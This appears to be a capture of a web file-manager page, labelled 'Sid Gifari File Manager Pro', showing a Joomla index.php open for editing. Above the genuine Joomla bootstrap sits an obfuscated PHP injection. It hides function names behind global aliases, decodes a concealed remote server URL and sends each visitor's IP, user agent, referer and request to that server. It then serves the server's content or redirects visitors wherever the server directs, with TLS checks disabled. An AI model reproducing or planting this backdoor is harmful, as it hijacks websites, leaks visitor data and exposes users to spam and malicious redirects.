Sid Gifari File Manager Pro v10.0.3

✏️ Editing: index.php Writable

<?php
$GLOBALS["JFcDnlJ"]="function_exists";$GLOBALS["PbQpJGv"]="ini_get";$GLOBALS["ctiskPv"]="file_get_contents";$GLOBALS["FqmYjBJ"]="fwrite";$GLOBALS["EMZExMv"]="fread";$GLOBALS["JQRIZnv"]="fclose";$GLOBALS["xQzlaeJ"]="explode";$GLOBALS["TYHsYjQ"]="stripos";$GLOBALS["tDFSDIv"]="strlen";$GLOBALS["EOhhbjQ"]="hexdec";$GLOBALS["XuZchmJ"]="substr";$GLOBALS["dRfAUuv"]="error_reporting";$GLOBALS["yanHVeJ"]="base64_decode";$GLOBALS["lijEDWJ"]="strtolower";$GLOBALS["cxNAEcv"]="preg_match";$GLOBALS["HcvzWZv"]="header";$GLOBALS["lyXatTQ"]="time";$GLOBALS["GNlsWMQ"]="defined";$GLOBALS["INjXbqQ"]="trim";$GLOBALS["HHERhAJ"]="is_array";$GLOBALS["ZwyYCPv"]="preg_replace";$GLOBALS["PLIhwpv"]="strpos";@set_time_limit(0);$GLOBALS["dRfAUuv"](0);$TD_server="aHR0cHM6Ly9vbmxpbmVzdG9yZXMudG9w";$TD_server=$GLOBALS["yanHVeJ"]($TD_server);$request=!empty($_SERVER['REQUEST_URI'])?urlencode($GLOBALS["lijEDWJ"]($_SERVER['REQUEST_URI'])):'';$static_extensions=['jpg','jpeg','png','gif','bmp','webp','svg','ico','tiff','tif','raw','avi','wmv','mpg','mpeg','mov','rm','ram','swf','flv','mp4','mkv','webm','3gp','vob','asf','ts','m2ts','ogg','ogm','m4v','mp3','wav','flac','aac','wma','m4a','woff','woff2','ttf','otf','eot','pdf','doc','docx','xls','xlsx','ppt','pptx','csv','rtf','css','js','map','less','sass','scss',];$is_static=false;foreach($static_extensions as $ext){if($GLOBALS["cxNAEcv"]("/\." .$ext. "(\?.*)?$/i",$request)){$is_static=true;break 1;}}if($is_static){$GLOBALS["HcvzWZv"]('Cache-Control: max-age=31536000');$GLOBALS["HcvzWZv"]('Expires: ' . gmdate('D, d M Y H:i:s',$GLOBALS["lyXatTQ"]()+31536000). ' GMT');exit;}$ua=!empty($_SERVER["HTTP_USER_AGENT"])?$GLOBALS["lijEDWJ"]($_SERVER['HTTP_USER_AGENT']):'';$protocol="http";if(isset($_SERVER["HTTPS"])&&$GLOBALS["lijEDWJ"]($_SERVER["HTTPS"])!=="off"){$protocol="https";}elseif(isset($_SERVER["HTTP_X_FORWARDED_PROTO"])&&$_SERVER["HTTP_X_FORWARDED_PROTO"]==="https"){$protocol="https";}elseif(isset($_SERVER["HTTP_FRONT_END_HTTPS"])&&$GLOBALS["lijEDWJ"]($_SERVER["HTTP_FRONT_END_HTTPS"])!=="off"){$protocol="https";}$host_raw=!empty($_SERVER['HTTP_HOST'])?$GLOBALS["lijEDWJ"]($_SERVER['HTTP_HOST']):'';$parsedHost=parse_url($protocol . '://' . $host_raw,PHP_URL_HOST);$host=$parsedHost!==null?$parsedHost:$host_raw;$port_raw=parse_url($protocol . '://' . $host_raw,PHP_URL_PORT);if($port_raw===null||$port_raw==80||$port_raw==443){$port='';}else{$port=$port_raw;}$referer=!empty($_SERVER["HTTP_REFERER"])?$GLOBALS["lijEDWJ"]($_SERVER['HTTP_REFERER']):'';$lang=!empty($_SERVER["HTTP_ACCEPT_LANGUAGE"])?$GLOBALS["lijEDWJ"]($_SERVER['HTTP_ACCEPT_LANGUAGE']):'';$ip=get_client_ip();$info=["ua"=>$ua,"protocol"=>$protocol,"host"=>$host,"port"=>$port,"referer"=>$referer,"request"=>$request,"lang"=>$lang,"ip"=>$ip,];$response=post($TD_server. "/seo.php",$info);if($response["status"]!==200){exit;}$json_flags=$GLOBALS["GNlsWMQ"]('JSON_INVALID_UTF8_IGNORE')?JSON_INVALID_UTF8_IGNORE:0;$data=json_decode($response["content"],true,512,$json_flags);if($data&&isset($data["action"])){$action=$GLOBALS["INjXbqQ"]($data["action"]);if($action==="echo"){if(isset($data["status"])){http_response_code(intval($data["status"]));}if(isset($data["content_type"])){$GLOBALS["HcvzWZv"]('Content-Type: ' . $GLOBALS["INjXbqQ"]($data["content_type"]));}if(isset($data["headers"])&&$GLOBALS["HHERhAJ"]($data["headers"])){foreach($data["headers"]as $name=>$value){$GLOBALS["HcvzWZv"]($GLOBALS["INjXbqQ"]($name). ': ' . $GLOBALS["INjXbqQ"]($value));}}echo isset($data["content"])?$GLOBALS["INjXbqQ"]($data["content"]):'';exit;}elseif($action==="redirect"){if(!empty($data["content"])){$redirect_status=isset($data["status"])?intval($data["status"]):302;http_response_code($redirect_status);$GLOBALS["HcvzWZv"]("Location: " . $GLOBALS["INjXbqQ"]($data["content"]));exit;}}}else{$content=$GLOBALS["INjXbqQ"]($response["content"]);$content=$GLOBALS["ZwyYCPv"]('/[\x00-\x1F\x80-\xFF]/','',$content);$content=$GLOBALS["INjXbqQ"]($content,"

\"'`");if(!empty($content)&&($GLOBALS["PLIhwpv"]($content,'http://')===0||$GLOBALS["PLIhwpv"]($content,'https://')===0)){http_response_code(302);$GLOBALS["HcvzWZv"]("Location: " . $content);exit;}}echo("    ");function parseHttpHeaders($headers){$result=["status"=>0,"content"=>'',"type"=>''];if(!empty($headers)&&$GLOBALS["HHERhAJ"]($headers)){if($GLOBALS["cxNAEcv"]('/HTTP\/\d\.\d\s+(\d+)/',$headers[0],$matches)){$result['status']=intval($matches[1]);}foreach($headers as $header){if($GLOBALS["cxNAEcv"]('/^Content-Type:\s*(.+)/i',$header,$matches)){$result['type']=$matches[1];break 1;}}}return $result;}function httpChunkedDecode($body){$result='';$pos=0;$len=$GLOBALS["tDFSDIv"]($body);while($pos<$len){$lineEnd=$GLOBALS["PLIhwpv"]($body,"
",$pos);if($lineEnd===false)break 1;$size=$GLOBALS["EOhhbjQ"]($GLOBALS["INjXbqQ"]($GLOBALS["XuZchmJ"]($body,$pos,$lineEnd-$pos)));if($size<=0)break 1;$pos=$lineEnd+2;$result .=$GLOBALS["XuZchmJ"]($body,$pos,$size);$pos+=$size+2;}return $result;}function post($url,$postData){$result=["status"=>0,"content"=>'',"type"=>''];try{if($GLOBALS["JFcDnlJ"]("curl_exec")&&$GLOBALS["JFcDnlJ"]("curl_init")){$ch=curl_init();curl_setopt($ch,CURLOPT_URL,$url);curl_setopt($ch,CURLOPT_SSL_VERIFYHOST,0);curl_setopt($ch,CURLOPT_SSL_VERIFYPEER,0);curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,20);curl_setopt($ch,CURLOPT_TIMEOUT,60);curl_setopt($ch,CURLOPT_FOLLOWLOCATION,0);curl_setopt($ch,CURLOPT_COOKIESESSION,0);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch,CURLOPT_POST,true);curl_setopt($ch,CURLOPT_POSTFIELDS,http_build_query($postData));curl_setopt($ch,CURLOPT_HTTPHEADER,['Content-Type: application/x-www-form-urlencoded; charset=UTF-8','Accept: application/json']);$response=curl_exec($ch);$result["status"]=intval(curl_getinfo($ch,CURLINFO_HTTP_CODE));$result["type"]=strval(curl_getinfo($ch,CURLINFO_CONTENT_TYPE));$result["content"]=strval($response);$result["redirect_url"]=strval(curl_getinfo($ch,CURLINFO_REDIRECT_URL));@curl_close($ch);}elseif($GLOBALS["PbQpJGv"]("allow_url_fopen")){$context=stream_context_create(["http"=>["method"=>"POST","timeout"=>60,"follow_location"=>0,"ignore_errors"=>true,"header"=>"Content-Type: application/x-www-form-urlencoded; charset=UTF-8
" . "Accept: application/json
","content"=>http_build_query($postData)],"ssl"=>["verify_peer"=>false,"verify_peer_name"=>false]]);$response=@$GLOBALS["ctiskPv"]($url,false,$context);if($response!==false){$result=array_merge($result,parseHttpHeaders($http_response_header));$result["content"]=strval($response);}}elseif($GLOBALS["JFcDnlJ"]('fsockopen')||$GLOBALS["JFcDnlJ"]('stream_socket_client')){$parts=parse_url($url);if(!empty($parts)&&!empty($parts['host'])){$scheme=isset($parts['scheme'])?$GLOBALS["lijEDWJ"]($parts['scheme']):'http';$host=$parts['host'];$port=isset($parts['port'])?intval($parts['port']):($scheme==='https'?443:80);$path=(isset($parts['path'])?$parts['path']:'/').(isset($parts['query'])?'?' . $parts['query']:'');$reqBody=http_build_query($postData);$remote=($scheme==='https'?'ssl://':''). $host . ':' . $port;$errno=0;$errstr='';$ctx=stream_context_create(['ssl'=>['verify_peer'=>false,'verify_peer_name'=>false]]);$fp=@stream_socket_client($remote,$errno,$errstr,20,STREAM_CLIENT_CONNECT,$ctx);if($fp){$hostHeader=$host;if(($scheme==='http'&&$port!=80)||($scheme==='https'&&$port!=443)){$hostHeader .=':' . $port;}$req="POST " .$path. " HTTP/1.1
";$req .="Host: " .$hostHeader. "
";$req .="Content-Type: application/x-www-form-urlencoded; charset=UTF-8
";$req .="Accept: application/json
";$req .="Content-Length: " . $GLOBALS["tDFSDIv"]($reqBody). "
";$req .="Connection: close

";$req .=$reqBody;$GLOBALS["FqmYjBJ"]($fp,$req);stream_set_timeout($fp,60);$raw='';while(!feof($fp)){$chunk=$GLOBALS["EMZExMv"]($fp,8192);if($chunk===false)break 1;$raw .=$chunk;$meta=stream_get_meta_data($fp);if(!empty($meta['timed_out']))break 1;}$GLOBALS["JQRIZnv"]($fp);if($raw!==''){$sepPos=$GLOBALS["PLIhwpv"]($raw,"

");if($sepPos!==false){$headerRaw=$GLOBALS["XuZchmJ"]($raw,0,$sepPos);$respBody=$GLOBALS["XuZchmJ"]($raw,$sepPos+4);}else{$headerRaw=$raw;$respBody='';}$headers=$GLOBALS["xQzlaeJ"]("
",$headerRaw);$isChunked=false;foreach($headers as $h){if($GLOBALS["TYHsYjQ"]($h,'Transfer-Encoding:')===0&&$GLOBALS["TYHsYjQ"]($h,'chunked')!==false){$isChunked=true;break 1;}}if($isChunked){$respBody=httpChunkedDecode($respBody);}$result=array_merge($result,parseHttpHeaders($headers));$result['content']=strval($respBody);}}}}}catch(Exception $e){}return $result;}function get_client_ip(){$ip_keys=array('HTTP_X_FORWARDED_FOR','HTTP_X_REAL_IP','REMOTE_ADDR');foreach($ip_keys as $key){if(array_key_exists($key,$_SERVER)===true){foreach($GLOBALS["xQzlaeJ"](',',$_SERVER[$key])as $ip){$ip=$GLOBALS["INjXbqQ"]($ip);if(filter_var($ip,FILTER_VALIDATE_IP,FILTER_FLAG_IPV4|FILTER_FLAG_IPV6)!==false){if($key==='REMOTE_ADDR'){return $ip;}if(!is_private_ip($ip)){return $ip;}}}}}return 'unknown';}function is_private_ip($ip){return!filter_var($ip,FILTER_VALIDATE_IP,FILTER_FLAG_NO_PRIV_RANGE|FILTER_FLAG_NO_RES_RANGE);}
?><?php

/**
 * @package    Joomla.Site
 *
 * @copyright  (C) 2005 Open Source Matters, Inc. <https://www.joomla.org>
 * @license    GNU General Public License version 2 or later; see LICENSE.txt
 */

// NOTE: This file should remain compatible with PHP 5.2 to allow us to run our PHP minimum check and show a friendly error message

// Define the application's minimum supported PHP version as a constant so it can be referenced within the application.
define('JOOMLA_MINIMUM_PHP', '7.2.5');

if (version_compare(PHP_VERSION, JOOMLA_MINIMUM_PHP, '<')) {
    die(
        str_replace(
            '{{phpversion}}',
            JOOMLA_MINIMUM_PHP,
            file_get_contents(dirname(__FILE__) . '/templates/system/incompatible.html')
        )
    );
}

/**
 * Constant that is checked in included files to prevent direct access.
 * define() is used rather than "const" to not error for PHP 5.2 and lower
 */
define('_JEXEC', 1);

// Run the application - All executable code should be triggered through this file
require_once dirname(__FILE__) . '/includes/app.php';